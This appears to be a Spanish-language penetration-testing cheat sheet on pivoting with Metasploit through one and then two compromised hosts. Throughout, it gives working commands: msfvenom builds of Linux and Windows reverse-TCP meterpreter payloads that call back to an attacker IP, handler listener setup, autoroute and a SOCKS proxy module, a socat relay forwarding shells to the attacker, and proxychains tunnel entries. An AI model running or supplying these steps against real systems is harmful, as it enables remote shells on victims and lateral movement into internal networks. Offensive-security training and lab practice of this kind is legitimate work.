Metasploit

LINUX

SINGLE PIVOT

METERPRETER SHELL

Crear consola meterpreter:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.4 LPORT=4434 -f ELF -o metaprieta

Subimos ese binario metaprieta al sistema victima.

Iniciamos listener de meterpreter en metasploit:

msfconsole
use /multi/handler
options
set LHOST 192.168.20.4
set LPORT 4434
set payload linux/x86/meterpreter/reverse_tcp
run

Ejecutamos binario que subimos a la máquina victima (le damos permisos de ejecución).

Ya obtendriamos nuestra shell meterpreter.

ROUTING

Obtenemos la interfaz de red a la cual queremos enrutar:

ipconfig
(CTRL^Z para enviar la tarea a segundo plano)
Background session 2? [y/N] (le decimos: y)

Enrutamos:

route add IP MASK SESSION

route add 172.18.100.17 255.255.255.0 2

O dentro de la misma sesión:

sessions -i 2
run post/multi/manage/autoroute

SOCKS

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1111
set VERSION 5
run

PROXYCHAINS

Editamos el archivo y al final agregamos el tunel:

cat /etc/proxychains.conf
...
socks5 127.0.0.1 1111

DOUBLE PIVOT

Tengamos en cuenta que ya estamos con un pivote creado, por lo que ya existe una conexión establecida.

Veamos este escenario:

Jugamos en el pivote anterior y nos dimos cuenta que el dispositivo al que entramos esta asigando a otra interfaz, es nueva para nosotros, pero no podemos verla desde nuestra máquina atacante, unicamente ella se ve con otros posibles dispositivos internamente conectados. NADA EXTERNO.

Hacemos escaneos juguetones y nos damos cuenta que existe otro dispositivo tambien con esa interfaz, por lo que se convierte en nuestro nuevo target.

  • Atacante: 192.168.20.4

  • Victima1: 192.168.20.17 - 172.18.100.16

  • Victima2: 172.18.100.19 - 192.168.40.12

  • Victima3: 192.168.40.14

Como hacemos para interactuar con esa ultima interfaz, veamos:

METERPRETER PAYLOAD

Para "complicar" un poco las cosas, hagamos de cuenta que Victima1 tiene un SO Windows, creemos una consola meterpreter:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.18.100.16 LPORT=4436 -f EXE -o metaprieta.exe

Subimos el archivo hasta la Victima1.

Despues subimos (si no lo tenemos ya) el binario socat a Victima1.

Como la consola meterpreter la esperaremos en nuestra máquina de atacante, no podemos ejecutar el archivo .exe y ya, ya que Victima2 no tiene conexión con Atacante. Por ello usaremos a Victima1 como puente para comunicar los dos dispositivos, todo esto generando puentes mediante socat.

SOCAT

En Victima1 indicamos que toda conexión que llegue contra el puerto 4436 la redirija hacia Atacante contra ese mismo puerto:

socat TCP-LISTEN:4436,fork TCP:192.168.20.4:4436

Antes de ejecutar el .exe debemos generar la escucha del meterpreter, usamos la consola de metasploit que ya tenemos:

METERPRETER SHELL

use /multi/handler
options
set LHOST 192.168.20.4
set LPORT 4436
set payload windows/meterpreter/reverse_tcp
run

Ejecutamos .exe y deberiamos obtener la reverse shell (:

ROUTING

Para generar un tunel socks, practicamente es lo mismo que antes, enrutamos y generamos puente.

ipconfig
# Tomamos la IP a la cual queremos enrutar, Victima2 tiene 192.168.40.12,
#   esa se comunica con Victima3 (192.168.40.14), así que es la que necesitamos.
CTRL^z
# para enviar la tarea a segundo plano
Background session 3? [y/N] (le decimos: y)
route add 192.168.40.12 255.255.255.0 3

Y casi listo.

SOCKS

Simplemente cambiamos el puerto donde residira el tunel:

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 2222
set VERSION 5
run

PROXYCHAINS

Evitamos el final del archivo y agregamos el nuevo tunel:

cat /etc/proxychains.conf
...
socks5 127.0.0.1 1111
socks5 127.0.0.1 2222

Last updated